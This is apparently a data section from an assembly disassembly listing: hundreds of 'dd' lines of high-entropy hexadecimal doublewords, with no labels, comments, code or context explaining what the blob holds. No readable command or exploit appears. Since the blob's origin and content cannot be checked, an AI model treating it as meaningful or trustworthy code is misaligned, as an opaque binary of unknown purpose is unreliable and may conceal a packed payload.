		dd 0A7865971h, 9600B9E8h, 6A4F3448h, 20CE4Ch, 681A8E55h
		dd 0C3714DC2h, 0EC5CDFF8h, 0EF9079E7h, 3001B8A6h, 0CAA6E147h
		dd 3530D4C5h, 0FE7400B7h, 3325370Dh, 0E4906A45h, 14844D5Ch
		dd 0C18CDD73h, 0C72F803Dh, 6D03F862h, 9C549D55h, 68CCA801h
		dd 0DC7E797h, 0A4D82185h, 80A81D8Fh, 14DA06FAh,	0CA00A848h
		dd 2610B7B8h, 0DC8FEEh,	4979C7B2h, 0ECDEE7EAh, 36578BFh
		dd 84CA407Ch, 0C0A722ABh, 7D5BFCEFh, 61B0B830h,	5A41D2Ch
		dd 5684E9E6h, 0D0F5C00Bh, 8B12B442h, 1800CA68h,	54DD9291h
		dd 6180A857h, 0E6350058h, 0F6987C1Fh, 90FA499Eh, 743C9518h
		dd 0C06994C8h, 0B281DF70h, 80A8A5F6h, 130312BFh, 9D335EE2h
		dd 55A0A11Dh, 6300C072h, 0C137DDDh, 0D400B080h,	0B56BD1A5h
		dd 263DA266h, 4C2B56h, 3452647Bh, 0D6E2DF01h, 8F87CA0Ch
		dd 48DD78FDh, 0F08068F9h, 2896C20h, 0AE5E2C3Ah,	59002810h
		dd 78FE7A9Dh, 0C632240Fh, 493E40E4h, 4C0098D2h,	10BCD05Ch
		dd 0EA8DA9D6h, 7DDA132Bh, 0C300338h, 0B18E5543h, 6B0115F8h
		dd 3B8D3CB2h, 4870AB39h, 0D8DD027Bh, 670EDC01h,	0D1EE4440h
		dd 97568A00h, 0CC5B622Bh, 1FD70454h, 0B25A267Ah, 41360E54h
		dd 4DD3205Eh, 393FBC95h, 6094E52Dh, 160154C7h, 0E40FB735h
		dd 0D8B1D512h, 6D019D52h, 0C6EF54EEh, 0BFC5DEABh, 568BFA40h
		dd 3432F969h, 70E3402h
		dd 4CE67B77h, 29BF3Ah, 0B4B27382h, 94C7A101h, 0E5E34084h
		dd 9B486AF6h, 80D0A8Fh,	0B280286Bh, 527C4799h, 0CC710C33h
		dd 4DF0B1D4h, 736A3006h, 304968D0h, 9271B6B8h, 1000ACBAh
		dd 0ED90CCFAh, 7EA6EBh,	2B6FBE6Eh, 7941E523h, 5C5E2624h
		dd 48F3920Ch, 9BA28899h, 0DE24C08Ah, 0FCFA0BCEh, 4003A6Fh
		dd 55102567h, 5CA1A36Bh, 8CB5006Dh, 51070CE3h, 0BB452000h
		dd 0E9376AD1h, 0B73D30E7h, 26A8DC48h, 64B12898h, 48BEE980h
		dd 1A6D11A0h, 0A8E7FCDFh, 944D8880h, 0A8C2E41Fh, 0E4D57313h
		dd 623B0540h, 0C094B546h, 6A61439Ch, 0C440554Fh, 7BEC2A5Ch
		dd 231B0024h, 0CCD3DEF4h, 8F00C888h, 7EAB0761h,	1367B74Eh
		dd 92EA0C32h, 0A044F7E4h, 6E0D4B00h, 64CFEB39h,	0FA71008Dh
		dd 2E1D4A7h, 0DA26DF05h, 0D800E4A3h, 71FCA220h,	0C330004Eh
		dd 50CD87B1h, 0A0A8E618h, 0F537AD99h, 0B7C659ACh, 0C7053B3Ah
		dd 1D49FB17h, 575D007Dh, 1CE33C64h, 0E140DCh, 0B6DEB39Eh
		dd 81B8EDFDh, 46E3038h,	7860EA10h, 9C964BC1h, 8B1EB023h
		dd 0CE318001h, 0F82C667Bh, 8D9A6800h, 0CA96EAD7h, 94EC0247h
		dd 5BF212F1h, 42317820h, 0D37905CDh, 2BA1E1h, 809EED9Fh
		dd 0D9317372h, 63A2C1A4h, 0C20E5862h, 0E36FABA7h, 0ED6B9720h
		dd 93070249h, 0FC940CC1h, 95A0E4A0h, 5431C624h,	0E60F7150h
		dd 806B01F2h, 4A26F99Eh, 0EDE200AFh, 0A77BF6C5h, 6800A59Ah
		dd 0B6D279DBh, 0A0B867A9h, 0BA7870h, 0F03BD61Ah, 0FD275A01h
		dd 0D804E598h, 10B595CAh, 58C19084h, 7F105FF3h,	8B80B33h
		dd 9EAE4F02h, 0C499A27Ch, 9556A80h, 6B800F1Ch, 9E0C1F80h
		dd 26047E56h, 989730Bh,	205748C2h, 0DCD1B87Fh, 4A86C300h
		dd 2C88901Ah, 946D0051h, 46CAC414h, 27F271BDh, 529DF4B9h
		dd 73C2A781h, 89109AF7h, 0A62C4CB0h, 29609C04h,	6A9F2Bh
		dd 3AD98D75h, 0CE36AA64h, 0E6013898h, 81E599A8h, 9468CB4Ah
		dd 0B1EC5380h, 9E604FD9h, 0CC5FD278h, 800C9EF7h, 353BBC1Dh
		dd 4D00F20Eh, 4290EC88h, 2769976Eh, 802BDA73h, 0D77F7040h
		dd 0CFD6B300h, 0FEB26051h, 1FC6061Eh, 3068C315h, 9099E44h
		dd 0B8714860h, 47A168E8h, 89087300h, 1A36D7C0h,	1F8B04D0h
		dd 0C0D515DCh, 29EFBBA7h, 60659913h, 57AE2802h,	2DC4521Ch
		dd 9824F10Dh, 97D0816Ah, 0D27A105Ah, 60FD4B50h,	90C7AEE8h
		dd 11425E25h, 4FE85AA0h, 6BD00FDh, 143863C2h, 3703B624h
		dd 31236C82h, 7C56E016h, 0F7F92797h, 639B20A0h,	800E7D9Eh
		dd 20396024h, 87E208DDh, 565B0013h, 9B164B3Bh, 0CD5A5234h
		dd 4EC18824h, 9C246B3Fh, 1103F04Dh, 0ADF080h, 0E30B6898h
		dd 9C209Bh, 5FC0302Bh, 7EADAE12h, 6758147Bh, 540509B0h
		dd 0C2B880E2h, 296BE7D3h, 0B88E90Dh, 0EC64B7D6h, 24A86707h
		dd 7440A9D8h, 0FE28D1h,	0E5ED6992h, 0A6868AE1h,	6E447490h
		dd 0A0941297h, 0CCB0D29Bh, 0A4D4F840h, 0A035632Eh, 976BD708h
		dd 0FE8C20B8h, 2F586466h, 3D900CEh, 0C497C6EEh,	6E5B1CDBh
		dd 78584010h, 0F709BA48h, 0C51D1499h, 79876280h, 2D7419Bh
		dd 510A7DA2h, 0BC58054Ah, 5B71A44h, 0C292DCABh,	164A2FFh
		dd 5FAF32B5h, 6FD0C3E4h, 558A1D64h, 8C906DD4h, 0EA00FFB6h
		dd 39C4E629h, 4B522Ch, 0DF8469C0h, 0E49CAFB5h, 0C732A2Ch
		dd 0C94D6660h, 9BBD006Dh, 7D5F6E6Bh, 3D078589h,	0A1A30A43h
		dd 64031490h, 229E5EA2h, 904CDE50h, 0BBCAC4Ch, 41BC09h
		dd 0D06F79B0h, 1D70B047h, 2959EB5h, 0D37356BDh,	7C832CD1h
		dd 191E57h, 0F7ED40F9h,	0B108EC18h, 95004290h, 14496C1h
		dd 97451Bh, 8F50E4B4h, 1A324A94h, 4169F900h, 0F5FF3089h
		dd 6C30026h, 21D6B0D3h,	0AB607786h, 7666B730h, 344F1CE7h
		dd 2C1500F3h, 248EA521h, 8FDEEC1Bh, 59D6E029h, 0A4520B5Fh
		dd 8057CFC2h, 0CEFB3F7h, 289603C5h, 7177C30Fh, 6ED83103h
		dd 0E87EBC14h, 0F60986h, 808363ADh, 2C3441F5h, 27033DF4h
		dd 91EBB8F3h, 5668C030h, 0C9936005h, 0C92E1BABh, 0EA2CBE03h
		dd 1EE33463h, 80F1DC19h, 0C8C35B2h, 99002485h, 0FAC34A70h
		dd 30EDC1F7h, 0C8975DBh, 1C06DEB9h, 6C4B5F44h, 179400D1h
		dd 5CC2D7F9h, 0B0FE798Dh, 31BD9200h, 0CF898F81h, 262B0369h
		dd 11932FE3h, 0E085790Fh, 839B20B7h, 1A54524h, 1B35E41Ch
		dd 61F3CA89h, 4BCA41C8h, 17699D57h, 0E5C2744h, 9EB63C0h
		dd 0C2050E7Fh, 4AEA2A61h, 0C07E1E48h, 77E5E866h, 0EC00C113h
		dd 2C0DBEAAh, 17767Ch, 6209F68Dh, 0D8DC9CAEh, 0E17A7830h
		dd 1E2CF13h, 0B86D31D2h, 502487E5h, 0BAF14E2Ch,	7405EAEAh
		dd 2CFF4B2Dh, 6A9839C0h, 79EE000Bh, 9028D57Dh, 0ED03562Eh
		dd 979CF64Fh, 0E029E19Bh, 0E5C6F981h, 80169431h, 0E9FDC511h
		dd 8062EDDCh, 6A00FEE2h, 8BBF76E8h, 0E281DE04h,	0EFD103DFh
		dd 1385C226h, 8D90C88h,	0E28F8C03h, 0F8E62F22h,	70F5DA1h
		dd 0C577263h, 0D9DFA6ECh, 4569424h, 29EE4580h, 741A5734h
		dd 7CAD00ACh, 270215DDh, 4AFEF1D7h, 0B5F16460h,	8403EBh
		dd 6D7A0FECh, 2B2C24C4h, 568FA01h, 0EAF7F11Ch, 779ACFECh
		dd 0F5611823h, 0EB946957h, 0A87E1C1h, 0C6FC738Bh, 96A00765h
		dd 0F010BC36h, 0EC932468h, 196629C3h, 11D58059h, 3179080h
		dd 0CCDC6B49h, 0DB982599h, 0D1C07477h, 7FB8024h, 602E0104h
		dd 69B25B41h, 0F6B98E5Eh, 0D889D894h, 0CE3F0049h, 14CA6D4Ch
		dd 21288E61h, 6000CD1Dh, 0A85AF49Eh, 0F0DC1C2Eh, 8F61C109h
		dd 2286DB0Ch, 8E2E00C0h, 0FE9EC7B3h, 19560EF2h,	6202B6C8h
		dd 0EC90E631h, 604A9CFh, 0A62A5F8Ch, 8AD05C8Dh,	10B7E5Bh
		dd 7C4F714h, 0E4350564h, 8D76E61Ch, 0D81E7712h,	30A1B800h
		dd 12FE21CCh, 0B529B9h,	0E61554E4h, 6718734Fh, 8B711093h
		dd 0EEFEF0h, 0DD574746h, 779FCCA0h, 0C2409302h,	607F2FC1h
		dd 39395940h, 6E22214Bh, 0C3C0EB00h, 0CB9B8CEh,	2A7300E3h
		dd 0C922BA5Eh, 88987F17h, 77DDC312h, 1ADE8C20h,	5630045Fh
		dd 0C060D2D1h, 27F9DC5Ch, 94BE873Dh, 244C2962h,	540204Ch
		dd 0F4C44Ah, 0E77598D0h, 3DB2037Ah, 9407A30Ch, 0B63112h
		dd 0AE452559h, 1158B81h, 0D302B2DDh, 466E6FA2h,	0D02A0748h
		dd 0E4F99542h, 0B7C68094h, 0C9018601h, 96C65877h, 61C4C43Bh
		dd 0E4AE550Fh, 18AC6C20h, 71E2337Dh, 9533FD77h,	0A04E215Bh
		dd 484361h, 4060B138h, 5D0BD697h, 95B4C507h, 0ED303909h
		dd 2A6D8C01h, 482498h, 4CFF234Dh, 1DC7CD4h, 0B822E303h
		dd 0B84E0438h, 0A86078C2h, 3A4182A0h, 0CC86583Ch, 2818C45Fh
		dd 0D681E102h, 820AF2E7h, 81B28EF4h, 0EB0C5390h, 0FB942070h
		dd 5D24B433h, 572CC9h, 728996AEh, 0E801F2D7h, 7A9FC7CDh
		dd 0BC2399A3h, 7B9E0E00h, 89BA6CB1h, 71BF5200h,	0D5DDCFFAh
		dd 4A2118BDh, 638E5958h, 5F7E300h, 0CA492C50h, 0DF820143h
		dd 42195391h, 0FA5860D5h, 0D17D7730h, 29D32Bh, 7C628EE7h
		dd 61C08796h, 0F6CE9706h, 59594Ah, 508AEC85h, 0D2A20CD0h
		dd 84AFF83Fh, 59FB61DAh, 881114C8h, 0C70007EBh,	0CD7F755Fh
		dd 76AD91B1h, 9084044Ah, 83B9D88Ch, 88D4F24Ch, 91076F64h
		dd 0AF3EBA52h, 141EC3A0h, 47F000EFh, 0F82EB446h, 0D80CEDF7h
		dd 71ACF661h, 77633EBFh, 0FE2CCD8Eh, 7158D647h,	3068BC0Dh
		dd 520901E8h, 27A54F1h,	0C1B91028h, 24207C34h, 762F588Dh
		dd 38A0B160h, 75EE03CCh
		dd 0B45CEF05h, 0B88C45B0h, 0F86E0021h, 263FFB28h, 19004877h
		dd 0FAC20675h, 7F5453h,	0E8B20E96h, 90B50CD1h, 1CEA2602h
		dd 4069CCC3h, 72C8B04h,	31DD77F9h, 0C0CA42B7h, 438C5CC0h
		dd 0E1FAEA38h, 6386DFE0h, 4E9FCC50h, 9AF30065h,	36812CB5h
		dd 0A6005E6Eh, 0CFC50B07h, 0B9FA1D7Ch, 1C26802Ch, 4F1A9401h
		dd 0A107DB0Bh, 0F5A80427h, 483DA08Ch, 570900C8h, 9C11095Fh
		dd 207293h, 9253F3F9h, 0A0F83BEBh, 0C07A594h, 768648D5h
		dd 0A4F64D69h, 0FB87EC00h, 0C73DDB6Ch, 95E71179h, 1BCC1CA9h
		dd 560ADFC0h, 732C3DE3h, 4C4F06F2h, 496278EAh, 0B4E12E00h
		dd 0B6937FACh, 0EED50045h, 0ECF983FBh, 1A3AFE4Ch, 4241192Ch
		dd 5DD7588h, 54037423h,	0D3D9219Bh, 0EF4E2BB8h,	0FC2D30C0h
		dd 0C0E994D1h, 0CD8C59D1h, 6470FDE3h, 8548EB7Ah, 568FE4h
		dd 783651F1h, 53E501EDh, 0AE570582h, 0DC1098C4h, 0C0B39729h
		dd 8A3DF6D9h, 0E71435F0h, 38A8F279h, 0C0804CA5h, 801002A1h
		dd 49820017h, 0A77B9568h, 0F2CDF4Dh, 0DD08E4ACh, 2C93808Ch
		dd 80D81C20h, 247CC15Ch, 0F401089Dh, 0CB8552D6h, 0D0752981h
		dd 7003CAE7h, 0F9000819h, 0FBA14F81h, 0A61693Bh, 43D24064h
		dd 5F5304ECh, 91AF8352h, 2EA6B6F0h, 0C15D9730h,	0CFE5AAh
		dd 53C7260Ch, 868772AFh, 4FDA7C00h, 2C1EFE63h, 118B04DEh
		dd 0A40C60DBh, 5BFEB29Ch, 24E2BCAAh, 10AF9060h,	64E5B013h
		dd 470780Bh, 0C44CE4A0h, 0EFE8A528h, 6D2C2D76h,	0E9404085h
		dd 1F3CD802h, 2564BE41h, 1ED1B820h, 49017557h, 0FAF7CF9h
		dd 86F0F6EEh, 9C69035Eh, 0CA5CE614h, 91EBA4D0h,	500B7926h
		dd 9F736160h, 2109000Dh, 2C4BCF0Fh, 0C706680Ch,	6149A1F6h
		dd 0B8332C29h, 0B75A0065h, 83D329F7h, 0F3B32300h, 0AD69AF39h
		dd 3E98A496h, 33808DC9h, 0E3D3899Bh, 4517A540h,	0D4006F67h
		dd 0F07C93D6h, 0E7283063h, 292C6F9h, 0ACA0C860h, 411522Ch
		dd 61E522B0h, 94CBE3h, 7029A0D5h, 0F36052h, 0CA858D9Fh
		dd 0EB6C7A65h, 86A9FD0Ah, 0C1839078h, 0F9DD23h,	54623DE4h
		dd 3A95C519h, 4DA6B26h,	0B2C22960h, 0BDF9003Bh,	0E5375B8Bh
		dd 80A86249h, 0C9008230h, 0E932B1CBh, 3C756BD8h, 0CEA634F6h
		dd 0F38E0048h, 318639BFh, 541D111Eh, 0B8202E96h, 0F3595FBh
		dd 2BD4671Ch, 9A0401B2h, 0DCC94564h, 95025102h,	2419B2FAh
		dd 20A49094h, 75A900A2h, 2E538B09h, 0AC07F3A4h,	4C68E2C3h
		dd 40ECD112h, 0B149BD18h, 365F0F90h, 77D52140h,	0CA0E5A59h
		dd 0A055DB31h, 78FFC7E7h, 0E39422E5h, 0EA0421B0h, 74D03103h
		dd 2F54CC81h, 246A228Eh, 0E261C322h, 2C020852h,	3778F853h
		dd 8F50420Bh, 849EA99Ch, 4CA4858Ch, 35AE0783h, 0E0230305h
		dd 4B2BC3B8h, 941DF00Ch, 0F84E79E5h, 0DBA31E66h, 61B0D8F1h
		dd 4500F2B5h, 3DD18301h, 0F45FE125h, 6942001Ch,	0EDBFCCA2h
		dd 60939F09h, 391BF400h, 122FBEC1h, 305E66B2h, 0E5EB9BB8h
		dd 0F9801C99h, 2CCACB51h, 0A90B002Ah, 9ADE7630h, 0BA008DFFh
		dd 0E33A09D4h, 611E541h, 0EC3F82D1h, 500051D0h,	2FA90364h
		dd 914C4EBEh, 0B470030Ch, 7CD04071h, 0D2395DF2h, 0F59286ECh
		dd 7D9A895h, 680A46CDh,	7F91E00Fh, 84A81F94h, 77006131h
		dd 4D144A75h, 657389h, 5C1E2CB6h, 1897D40Fh, 0CB94C74Ch
		dd 1480751Ch, 0E545E457h, 1E380200h, 43A1871Dh,	95C407FBh
		dd 0E0C52A9Bh, 2DD10B3Ah, 4A300671h, 97C7B16Bh,	0ACCE00AFh
		dd 0A8D7BB30h, 0B5003123h, 1BC23D9Ch, 5C41850h,	0B22CF0C3h
		dd 61A8216Eh, 820C2CF8h, 402F9D68h, 0EED97F7Ch,	8EE127ECh
		dd 1480EC12h, 0F57BB90Dh, 0F42E6324h, 0EBB8DAC0h, 187850DDh
		dd 1EF5182Ch, 9F9C502Ah, 96C56F00h, 8E61D94Ah, 0CE68000Fh
		dd 0B9B52710h, 9C98B30Eh, 0E4A871F5h, 5D0C6C14h, 5189E6EDh
		dd 589E5CF6h, 0C50C7448h, 0CF503291h, 7359F01h,	132F63EFh
		dd 0F04B919Dh, 0C828A5E1h, 0A538E00h, 0DDF12D97h, 78FE2EB6h
		dd 9F9340F8h, 0A500C5EDh, 412CD31Bh, 0A882713h,	0DBEB0314h
		dd 4B454368h, 60FA21C1h, 20B8C250h, 0E382B906h,	1FE867CBh
		dd 0CF046C9Fh, 8A56580h, 78A84E41h, 508206A9h, 44E022E9h
		dd 5884AFE2h, 0CF80E46Bh, 0A6B8C131h, 0C0B8B75Ch, 19FD42DFh
		dd 99AFB03Ch, 0B58B02C0h, 97C3E029h, 0D00524C0h, 82947758h
		dd 411762C8h, 0F8D7F215h, 35A1D75h, 55DAE9BEh, 0ADD0618Dh
		dd 9A79F68Ch, 9079F525h, 0E959C0h, 54F36860h, 7A769F28h
		dd 9F57853Eh, 11827825h, 812493D2h, 348391C0h, 3B018873h
		dd 0C4E5DA77h, 5842C867h, 85838B13h, 7892D890h,	0DC7E69h
		dd 2D44A6D0h, 0A83453EEh, 4208830Ah, 85049806h,	69E0032Fh
		dd 5EEC03C6h, 2C50960Fh, 0E83C99F4h, 0DA50D2F3h, 494EBBC8h
		dd 94254C40h, 30F23D38h, 326C8389h, 6F13645Ch, 0DC010CDAh
		dd 37E0B51Ch, 90E6EAh, 8E7F6DDDh, 0D34ACFB0h, 78853011h
		dd 8171F507h, 540099CCh, 25940C8Ch, 19B87200h, 224EE4D0h
		dd 720994Ah, 5030DF55h,	0B160C49Ah, 0C0AC1B05h,	0A4C877D9h
		dd 0E8C1775Ah, 0BE5E3DA6h, 4966DB8h, 71BA00B9h,	5B2C1987h
		dd 365F90Ch, 22BDE00Fh,	0EA006D4Ah, 10D5E741h, 9BEBC4h
		dd 467C0FF7h, 1A40FCEEh, 30978A24h, 43ADA04Eh, 223EA5Fh
		dd 226DB72Ah, 0AC6CAE70h, 2BB3E803h, 9827D059h,	0B108BBh
		dd 9731F42Ch, 4DE5CDC7h, 0E97BF3F0h, 0F4B0C873h, 0ED89337Bh
		dd 2C12A833h, 0D7242094h, 0E5032931h, 8D4F3856h, 0ECC48157h
		dd 124809F0h, 1D421E8Ch, 8980BCACh, 33DE2FFEh, 0E62CC2FFh
		dd 8C1DEC9Ah, 0AE390C00h, 1F127B44h, 7AC626FAh,	0CF8E0D05h
		dd 50B48080h, 81C0D985h, 0A1B2643Ch, 0E7BE3CFBh, 0D0E39094h
		dd 7DE65C00h, 3C71F204h, 0FF198A1Fh, 0EC526140h, 0B136E5C4h
		dd 4A578164h, 23FDEE83h, 0BE1A00A8h, 0A9E7B8DDh, 3FD000A5h
		dd 8FB2F772h, 0D63E6ED3h, 0C8A005F3h, 0BC405C94h, 0FC0EB0C1h
		dd 0F0BF000Fh, 36CDF116h, 1F0992DEh, 4414B6EEh,	663C0EE0h
		dd 0B28930D2h, 3DD0D0B0h, 0BB44148h, 8E8DFA8Ah,	0F824802Ch
		dd 30FD7252h, 41A17678h, 0E1E40170h, 0CC44BE02h, 810CB099h
		dd 58DBED94h, 4631BF8h,	0EC0664A5h, 3EACC8DEh, 87FA7F38h
		dd 1F0C1B52h, 5D6AB2F1h, 265381A6h, 0A6784078h,	4BE62FEDh
		dd 97802094h, 34CF9B85h, 4CC1039Fh, 84544573h, 38DD2AF0h
		dd 5776B00Bh, 29C80E2h,	96F45F58h, 16A4A8C0h, 8C2A7DA0h
		dd 31009E34h, 0EDF62DB1h, 7627FAD8h, 4CD03A55h,	79DC6279h
		dd 0FCD29750h, 267AF201h, 0F63647A5h, 12FADFC8h, 212762D2h
		dd 8F604B44h, 0DED8A439h, 80CDBDBAh, 447D7A80h,	50DF126Ch
		dd 2F9CB422h, 7C10A86Fh, 7D006974h, 97BC2ABFh, 0E011580h
		dd 41AE71Eh, 13C8E0AAh,	1480315Fh, 0C2C0DED3h, 0A077F356h
		dd 8690F43Eh, 654A24A9h, 33DD0089h, 566CCA95h, 855CDBFFh
		dd 42B7C098h, 63B4BC72h, 0FE33BA48h, 0C4D257F9h, 430053F9h
		dd 0E62CF617h, 3B124267h, 184D065h, 0A22DC206h,	0A27A0034h
		dd 0F543C539h, 8903030Dh, 2532FA05h, 6918AAE0h,	944CF4ECh
		dd 0F9EC8014h, 6E9287h,	73136172h, 0E6FF99D9h, 54520807h
		dd 0FBC3D83Bh, 0F7311CADh, 0B28142E5h, 0F080753Dh, 4A409059h
		dd 97875B12h, 6DFD1C20h, 343B01FCh, 0C40CCC3h, 9882DD9h
		dd 70282D0h, 0D1C0ADC0h, 503227F9h, 25D6B076h, 4020862Bh
		dd 42F44A48h, 415D0700h
		dd 0EC0B64AAh, 0E67F0009h, 0AEDE9C3Ch, 70B8F2C3h, 0A05C6522h
		dd 604A0CECh, 50B8112Ah, 6E00AAA4h, 13213F57h, 33C733Ah
		dd 0F5E8BC7Eh, 79D0FF6Dh, 0B004DE4h, 8926EFC3h,	98B94C1Ah
		dd 1618F644h, 2077A850h, 9C26D90Ch, 0BFA36602h,	900E60DDh
		dd 98F1D690h, 20C15ADCh, 591A9274h, 0FC6BDE00h,	1707A484h
		dd 4BCE2BDh, 0B7D4C29Eh, 6F8C802Bh, 32E7B205h, 0F611B10h
		dd 3606C071h, 932E259Ch, 0A5C0382Eh, 4FA47963h,	5B74C901h
		dd 5D4A5128h, 139FE4CCh, 101150DAh, 2C3EAC52h, 0CD7C080h
		dd 3F878062h, 6850A2B8h, 88BED0A8h, 0E344A0A8h,	7B970B63h
		dd 0C8E00E64h, 49EAE68h, 0B87E4A40h, 26E0E28Eh,	3FDCCE4Dh
		dd 64B2D889h, 72776491h, 49F10000h, 0D72EB98Eh,	6987003Dh
		dd 0F31538ACh, 40E76FBCh, 7EE323FCh, 344A1926h,	0A3E0A140h
		dd 0E9791CF1h, 26C7016Dh, 30C33668h, 0F8A66058h, 0E41A8A24h
		dd 3A286A00h, 141826F6h, 98FDFC10h, 94220DC3h, 1EF08EC8h
		dd 6EE8AC01h, 46963ADAh, 308C76ECh, 60C865D8h, 0E0A621B8h
		dd 8080373Ah, 97D393C8h, 5C479Fh, 0CCE935B2h, 934BA54h
		dd 807DFDh, 0CA4455B3h,	0C74375h, 2AE1DF24h, 1D4E58D5h
		dd 9026FB00h, 98697673h, 63240901h, 0A800A68Ch,	0CC842168h
		dd 94A58212h, 2E3E0490h, 722FF01Ch, 40B4BE86h, 9E6F93E6h
		dd 682C8800h, 0E4746DE5h, 375A003Eh, 477FED7Bh,	97179040h
		dd 0BC802F9Ch, 323CB152h, 5310EFDDh, 6443C4C0h,	0C50B7516h
		dd 24D6F800h, 622E63FDh, 0DDED69EAh, 0F1890859h, 28864F0h
		dd 4FD3EE4Bh, 0E45A49DEh, 8AD41904h, 0E4A87AC8h, 9427B006h
		dd 0AE0051EEh, 0A590675Eh, 12CFFFC8h, 0ABB54596h, 3B342010h
		dd 0E728970Fh, 84E33808h, 0B2052EDDh, 4A7C0BA0h, 0E46A82FAh
		dd 6085E0E1h, 0E5C600A8h, 0D8FB7AA3h, 1A180BE7h, 5099D9ECh
		dd 0C3220104h, 0E57594CFh, 0EB93C86Fh, 746188h,	3B906B72h
		dd 7D5219C7h, 0A6CF0F01h, 0E8935B97h, 6929A6h, 1F4D16C4h
		dd 0A3005F49h, 0C2210738h, 0B92B63EAh, 7B0E3B28h, 15C0F69Bh
		dd 803A0904h, 0FA086862h, 62F8C183h, 6DF76111h,	7C704B1Ch
		dd 0C02A49BAh, 0B0D9E611h, 0B7ED513h, 312DE200h, 3A33428h
		dd 0A1FB0098h, 0BFDFE5E1h, 6930B2CEh, 2B2D395Ah, 77DC2C94h
		dd 2AAE4070h, 54001F98h, 63F4A273h, 9F5FA02h, 6680E51Ah
		dd 95001871h, 6DFF22D2h, 0C09A4EDAh, 694DE9Ch, 0CE66C71Dh
		dd 0B691D900h, 9524E603h, 0F3ECC10h, 0D55248h, 668C7D16h
		dd 2A625C5Fh, 3B90E12Eh, 1EBD9769h, 87BB9F01h, 91040FA1h
		dd 611358B8h, 2354890Eh, 37871F0Ch, 0A26C7A00h,	0BCA75Ch
		dd 0F363C06h, 0A368E9F6h, 30307D2Eh, 0DFCB37C0h, 0A22A0B60h
		dd 0AD0C4E3Fh, 9D001959h, 0C1DEB0Bh, 0DF1168CEh, 608D00CEh
		dd 4A020F24h, 0D0809DA2h, 5FD61497h, 0A844F6E2h, 21450BE6h
		dd 6C02753Fh, 34D19F98h, 11B54700h, 1FEB8A4Dh, 49BC9B10h
		dd 0B00251D3h, 0E111E9D6h, 2B005418h, 0F590860Fh, 0B9DEC40Bh
		dd 103A8734h, 0D67D121Ah, 752BFBC0h, 0DE78F718h, 0F31E21h
		dd 0EF7DCFC8h, 36D60369h, 5A1CC0FCh, 2C80F173h,	0DF8B755h
		dd 0CD661EECh, 2E2441CCh, 0FC7E6D87h, 0DB1F1A19h, 4801B2F0h
		dd 0A7CC0533h, 5F3C4050h, 1FAE715Eh, 891373A3h,	38711E98h
		dd 0B8BE1Fh, 3299182h, 2461E5h,	0C51B843Ch, 3233D00Dh
		dd 2B443805h, 108CBE0Eh, 12C8004Dh, 8BAA7289h, 7E021F8Eh
		dd 0FE63D50Bh, 0B6C480E7h, 991EEF98h, 85098780h, 0C0E7C489h
		dd 2BC0638Fh, 0D9007D74h, 86C6BD3Fh, 122343CAh,	20FA61DAh
		dd 0BB360B68h, 650073B0h, 0C30CFE44h, 77F7C691h, 31632DAEh
		dd 0EFF0F420h, 512E2B2Ch, 2914F821h, 470214DCh,	0D7A400A0h
		dd 3FF76D08h, 0C4E5049Dh, 0B2C77164h, 6CF40784h, 4930D5FEh
		dd 311FD0h, 0F8A2DC9Dh,	82E8C159h, 883EAF00h, 19A6962h
		dd 1DF4C093h, 0D9F608C5h, 2209EB16h, 1BC7340Bh,	9FE9F0BCh
		dd 54630123h, 28D685B4h, 873C7CF4h, 53A08ED7h, 42D4045h
		dd 0E6C796F6h, 0D2CD99Eh, 0EC5DD0D8h, 389B7705h, 0D82CA8h
		dd 0DE73EDEh, 7D3A1782h, 0A48BC368h, 0F0F0E49Bh, 0D00EC196h
		dd 0E7C29A7Eh, 5949240Bh, 1BEF00B4h, 336BDFA0h,	1AFD5900h
		dd 0C093601h, 0C9C3E58Bh, 0EFD86352h, 294125B4h, 3FA78810h
		dd 96173700h, 73609AFEh, 1367AFBh, 0EC95C49Bh, 406F697Bh
		dd 96DD21CCh, 7D917902h, 0C465B2C6h, 120DFC44h,	40B0F9Eh
		dd 8877F2ACh, 47008664h, 8FD42427h, 3E5E7804h, 228EA156h
		dd 88D253D5h, 9A0FB564h, 0BFA5CB85h, 4B06CD04h,	0E7DF088h
		dd 0A0D03E76h, 242BA8A0h, 0FA037AF8h, 0D12384E5h, 1CA07B2Eh
		dd 0C02C04F4h, 1E8EEEA9h, 0A1132A61h, 0C820CFEBh, 8B042Fh
		dd 0FB077D44h, 1A3463EFh, 2A916496h, 0F6FE007Fh, 174E0BCDh
		dd 4D00B23Ch, 96218E23h, 13371C5Fh, 88CBE69h, 5CA4AE50h
		dd 60B2A035h, 0F090772Dh, 8000D444h, 298C070Bh,	5FB261E0h
		dd 0EA744267h, 0CE12179h, 0BC639Fh, 0A6DBC144h,	80C22Eh
		dd 9124086Dh, 0A1E8EC0Fh, 0DAEDAC3Bh, 95848C02h, 805981h
		dd 49A2FE89h, 2B002F2Dh, 2C1AF0F6h, 9046AE4Dh, 1C552474h
		dd 48D092Ch, 1600FC59h,	0F3FF0E5Ch, 0A4F000EFh,	275B44B8h
		dd 4138FC18h, 1F50922Bh, 5F0E64B2h, 6004621h, 0EDEC0E89h
		dd 24DA921Dh, 1C669143h, 0B549C0C5h, 6AE412DCh,	0F56C040Bh
		dd 1AF854ABh, 0C0C02C54h, 5C280F5h, 351F4291h, 75ECA02Eh
		dd 0C4018401h, 0C237B392h, 0CD802C6Ch, 68620C58h, 0FA003176h
		dd 705A735Dh, 3AC50536h, 0DB021695h, 6DB268C7h,	9C5CF4CCh
		dd 1D116026h, 1EF67FA9h, 802CC75Ch, 0B995E3E7h,	71090405h
		dd 53DEDDECh, 69AF80CCh, 0A488DB53h, 1439D01h, 65B0BCCBh
		dd 7B4CA02Ah, 0DF9DE00h, 7DA9ABEAh, 91E70602h, 0B2E3EFFEh
		dd 64E89097h, 0A0546468h, 67C7475Dh, 205B6C82h,	61F899D0h
		dd 55497500h, 0D61AFB2Ah, 0DB950058h, 151E94A7h, 25022FE5h
		dd 289EAD21h, 34D91Ch, 56054EF3h, 0B5007A98h, 0D06B790Eh
		dd 0C69E588h, 7EE41D93h, 51352340h, 0E86078B2h,	31038CECh
		dd 83F95595h, 0ED65D888h, 0DAA0FD5Eh, 64FAD0h, 3E9701E6h
		dd 1991C6ADh, 4EEBCC3Eh, 0E08EFCC8h, 187C081Dh,	968B5F4Ah
		dd 8A2F00A2h, 73C66006h, 9E401E1Ah, 0C5424095h,	0D3D04F91h
		dd 0E0D1774Ah, 0CAE8FD85h, 0FEF503F0h, 45A19689h, 0A7D72498h
		dd 74309097h, 0BE36005Fh, 1A1E5C94h, 0CB0728E8h, 0DAD3A787h
